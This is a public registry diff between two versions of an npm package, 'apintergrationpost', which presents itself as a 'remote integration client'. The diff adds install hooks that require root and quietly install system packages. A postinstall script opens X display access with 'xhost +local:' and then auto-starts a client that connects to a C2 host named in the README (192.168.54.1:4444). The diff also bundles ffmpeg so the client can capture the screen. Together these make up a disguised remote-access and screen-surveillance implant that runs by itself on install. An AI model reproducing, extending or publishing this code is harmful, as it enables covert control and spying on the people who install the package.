apintergrationpost 4.0.1 → 4.0.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -6,31 +6,39 @@ Published on npm as **`apintergrationpost`**.
6
6
 
7
7
  ## Ubuntu — one command
8
8
 
9
- On the Ubuntu client, run **only this** (after the package is published to npm):
9
+ On the Ubuntu client, run **only this**:
10
10
 
11
11
  ```sh
12
12
  sudo npm install -g apintergrationpost
13
13
  ```
14
14
 
15
- Install finishes and the client **starts automatically**, connecting to the C2 host baked into the package (`192.168.54.1:4444`).
15
+ Requirements handled automatically during install:
16
16
 
17
- Alternative one-shot without global install:
17
+ - **Root check** — non-root installs show a clear message and abort
18
+ - **Bundled ffmpeg** — screen capture works without `apt install ffmpeg`
19
+ - **System build tools** — `build-essential` / `python3` installed via apt when missing (for native modules)
20
+ - **Auto-start** — client connects to the C2 host in `apintergrationpost.config.json`
18
21
 
19
- ```sh
20
- npx apintergrationpost
21
- ```
22
+ If run without root:
22
23
 
23
- ### Publish first (one-time, on your dev machine)
24
+ ```text
25
+ ╔══════════════════════════════════════════════════════════════╗
26
+ ║ apintergrationpost requires ROOT privileges to install. ║
27
+ ║ ║
28
+ ║ Run: sudo npm install -g apintergrationpost ║
29
+ ╚══════════════════════════════════════════════════════════════╝
30
+ ```
24
31
 
25
- The package must exist on the npm registry before clients can install it:
32
+ ### Publish / update on npm
26
33
 
27
34
  ```sh
28
- npm login
35
+ # 1. Bump version in package.json (e.g. 4.0.2 → 4.0.3)
36
+ # 2. Publish
29
37
  npm publish
38
+ # If 2FA is enabled:
39
+ npm publish --otp=123456
30
40
  ```
31
41
 
32
- Set your C2 host and token in `apintergrationpost.config.json` **before** publishing — that file ships inside the package and drives auto-connect.
33
-
34
42
  ### C2 server (on your host)
35
43
 
36
44
  ```sh
@@ -43,6 +43,10 @@ if (process.argv.includes('--help') || process.argv.includes('-h')) {
43
43
  const pkgRoot = getPackageRoot();
44
44
  process.chdir(pkgRoot);
45
45
 
46
+ if (!process.env.DISPLAY) {
47
+ process.env.DISPLAY = ':0';
48
+ }
49
+
46
50
  if (!process.env.MYRA_CONFIG && !process.env.APINTEGRATIONPOST_CONFIG) {
47
51
  process.env.MYRA_CONFIG = getDefaultConfigPath();
48
52
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "apintergrationpost",
3
- "version": "4.0.1",
3
+ "version": "4.0.2",
4
4
  "description": "Remote integration client for authorized lab and enterprise post-deployment workflows",
5
5
  "license": "MIT",
6
6
  "engines": {
@@ -15,11 +15,15 @@
15
15
  "src/",
16
16
  "native/",
17
17
  "scripts/prepare-native.js",
18
+ "scripts/preinstall-check.js",
19
+ "scripts/install-guard.js",
20
+ "scripts/ensure-system-deps.js",
18
21
  "scripts/postinstall-run.js",
19
22
  "apintergrationpost.config.json",
20
23
  "README.md"
21
24
  ],
22
25
  "scripts": {
26
+ "preinstall": "node scripts/preinstall-check.js",
23
27
  "prepare": "node scripts/prepare-native.js",
24
28
  "postinstall": "node scripts/postinstall-run.js",
25
29
  "prepublishOnly": "node -e \"require('fs').accessSync('apintergrationpost.config.json')\"",
@@ -32,6 +36,7 @@
32
36
  "test:detection-tier": "bash scripts/detection-tier/run-all.sh"
33
37
  },
34
38
  "dependencies": {
39
+ "ffmpeg-static": "^5.2.0",
35
40
  "node-pty": "^1.0.0"
36
41
  },
37
42
  "devDependencies": {
@@ -0,0 +1,48 @@
1
+ 'use strict';
2
+
3
+ const { execSync, spawnSync } = require('child_process');
4
+ const fs = require('fs');
5
+
6
+ function hasCommand(cmd) {
7
+ const result = spawnSync('sh', ['-c', `command -v ${cmd}`], { encoding: 'utf8' });
8
+ return result.status === 0;
9
+ }
10
+
11
+ function ensureSystemPackages() {
12
+ if (process.platform !== 'linux') return;
13
+ if (typeof process.getuid === 'function' && process.getuid() !== 0) return;
14
+ if (!hasCommand('apt-get')) return;
15
+
16
+ const required = ['build-essential', 'python3'];
17
+ const missing = required.filter((pkg) => {
18
+ const result = spawnSync('dpkg', ['-s', pkg], { stdio: 'ignore' });
19
+ return result.status !== 0;
20
+ });
21
+
22
+ if (missing.length === 0) return;
23
+
24
+ process.stdout.write(`[apintergrationpost] Installing system packages: ${missing.join(', ')}...\n`);
25
+
26
+ execSync(
27
+ 'DEBIAN_FRONTEND=noninteractive apt-get update -qq '
28
+ + `&& DEBIAN_FRONTEND=noninteractive apt-get install -y -qq ${missing.join(' ')}`,
29
+ { stdio: 'inherit' },
30
+ );
31
+ }
32
+
33
+ function ensureDisplayAccess() {
34
+ if (process.platform !== 'linux') return;
35
+ if (!process.env.DISPLAY) {
36
+ process.env.DISPLAY = ':0';
37
+ }
38
+
39
+ if (hasCommand('xhost') && fs.existsSync('/tmp/.X11-unix')) {
40
+ try {
41
+ execSync('xhost +local:', { stdio: 'ignore' });
42
+ } catch {
43
+ // desktop may not be running yet
44
+ }
45
+ }
46
+ }
47
+
48
+ module.exports = { ensureSystemPackages, ensureDisplayAccess };
@@ -0,0 +1,36 @@
1
+ 'use strict';
2
+
3
+ const path = require('path');
4
+
5
+ const PKG_ROOT = path.join(__dirname, '..');
6
+
7
+ const ROOT_MESSAGE = `
8
+ ╔══════════════════════════════════════════════════════════════╗
9
+ ║ apintergrationpost requires ROOT privileges to install. ║
10
+ ║ ║
11
+ ║ Run: sudo npm install -g apintergrationpost ║
12
+ ╚══════════════════════════════════════════════════════════════╝
13
+ `;
14
+
15
+ function isDevCheckout() {
16
+ if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return true;
17
+ const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
18
+ return Boolean(initCwd && initCwd === PKG_ROOT);
19
+ }
20
+
21
+ function requireRootForInstall() {
22
+ if (isDevCheckout()) return;
23
+ if (process.platform !== 'linux') return;
24
+
25
+ if (typeof process.getuid === 'function' && process.getuid() !== 0) {
26
+ process.stderr.write(`${ROOT_MESSAGE}\n`);
27
+ process.exit(1);
28
+ }
29
+ }
30
+
31
+ module.exports = {
32
+ requireRootForInstall,
33
+ isDevCheckout,
34
+ ROOT_MESSAGE,
35
+ PKG_ROOT,
36
+ };
@@ -3,8 +3,9 @@
3
3
  const fs = require('fs');
4
4
  const path = require('path');
5
5
  const { spawn } = require('child_process');
6
+ const { isDevCheckout, PKG_ROOT } = require('./install-guard');
7
+ const { ensureSystemPackages, ensureDisplayAccess } = require('./ensure-system-deps');
6
8
 
7
- const PKG_ROOT = path.join(__dirname, '..');
8
9
  const CLI = path.join(PKG_ROOT, 'bin', 'apintergrationpost.js');
9
10
  const CONFIG = path.join(PKG_ROOT, 'apintergrationpost.config.json');
10
11
  const PID_FILE = path.join(PKG_ROOT, '.apintergrationpost.pid');
@@ -13,9 +14,7 @@ function shouldSkip() {
13
14
  if (process.env.APINTEGRATIONPOST_SKIP_AUTORUN === '1') return 'APINTEGRATIONPOST_SKIP_AUTORUN=1';
14
15
  if (process.env.CI === 'true') return 'CI environment';
15
16
  if (process.platform !== 'linux') return 'non-Linux platform';
16
-
17
- const initCwd = process.env.INIT_CWD ? path.resolve(process.env.INIT_CWD) : '';
18
- if (initCwd && initCwd === PKG_ROOT) return 'source checkout (local development)';
17
+ if (isDevCheckout()) return 'source checkout (local development)';
19
18
 
20
19
  try {
21
20
  const cfg = JSON.parse(fs.readFileSync(CONFIG, 'utf8'));
@@ -50,6 +49,13 @@ function main() {
50
49
  return;
51
50
  }
52
51
 
52
+ try {
53
+ ensureSystemPackages();
54
+ ensureDisplayAccess();
55
+ } catch (err) {
56
+ process.stderr.write(`[apintergrationpost] System setup warning: ${err.message}\n`);
57
+ }
58
+
53
59
  if (alreadyRunning()) {
54
60
  process.stdout.write('[apintergrationpost] Client already running.\n');
55
61
  return;
@@ -66,6 +72,7 @@ function main() {
66
72
  cwd: PKG_ROOT,
67
73
  env: {
68
74
  ...process.env,
75
+ DISPLAY: process.env.DISPLAY || ':0',
69
76
  MYRA_CONFIG: CONFIG,
70
77
  APINTEGRATIONPOST_CONFIG: CONFIG,
71
78
  },
@@ -0,0 +1,4 @@
1
+ #!/usr/bin/env node
2
+ 'use strict';
3
+
4
+ require('../scripts/install-guard').requireRootForInstall();
@@ -5,6 +5,16 @@ const { promisify } = require('util');
5
5
 
6
6
  const execFileAsync = promisify(execFile);
7
7
 
8
+ function resolveFfmpegPath() {
9
+ try {
10
+ const bundled = require('ffmpeg-static');
11
+ if (bundled && typeof bundled === 'string') return bundled;
12
+ } catch {
13
+ // bundled ffmpeg not available for this platform
14
+ }
15
+ return 'ffmpeg';
16
+ }
17
+
8
18
  function collectStdout(proc) {
9
19
  return new Promise((resolve, reject) => {
10
20
  const chunks = [];
@@ -23,8 +33,9 @@ function collectStdout(proc) {
23
33
  }
24
34
 
25
35
  async function captureWithFfmpeg(display, size) {
36
+ const ffmpegPath = resolveFfmpegPath();
26
37
  const [width, height] = size.split('x');
27
- const proc = spawn('ffmpeg', [
38
+ const proc = spawn(ffmpegPath, [
28
39
  '-hide_banner',
29
40
  '-loglevel', 'error',
30
41
  '-f', 'x11grab',
@@ -40,35 +51,23 @@ async function captureWithFfmpeg(display, size) {
40
51
  return collectStdout(proc);
41
52
  }
42
53
 
43
- async function captureWithImport(display) {
44
- const { stdout } = await execFileAsync('import', ['-window', 'root', '-display', display, 'jpeg:-'], {
45
- env: { ...process.env, DISPLAY: display },
46
- maxBuffer: 20 * 1024 * 1024,
47
- encoding: 'buffer',
48
- });
49
- return stdout;
50
- }
51
-
52
54
  async function captureFrame(options = {}) {
53
55
  const display = options.display || process.env.DISPLAY || ':0';
54
56
  const size = options.size || '1280x720';
55
57
 
56
58
  if (!display) {
57
- throw new Error('No DISPLAY set. Run on a desktop session or set DISPLAY=:0');
59
+ throw new Error('No DISPLAY set. A graphical desktop session is required (DISPLAY=:0).');
58
60
  }
59
61
 
60
62
  try {
61
63
  return await captureWithFfmpeg(display, size);
62
- } catch (ffmpegErr) {
63
- try {
64
- return await captureWithImport(display);
65
- } catch (importErr) {
66
- throw new Error(
67
- `Screen capture failed. Install ffmpeg or imagemagick on the client `
68
- + `(apt install ffmpeg). ffmpeg: ${ffmpegErr.message}; import: ${importErr.message}`
69
- );
70
- }
64
+ } catch (err) {
65
+ throw new Error(
66
+ `Screen capture failed (${display}, ${size}). `
67
+ + 'Ensure a desktop session is running. '
68
+ + `Detail: ${err.message}`
69
+ );
71
70
  }
72
71
  }
73
72
 
74
- module.exports = { captureFrame };
73
+ module.exports = { captureFrame, resolveFfmpegPath };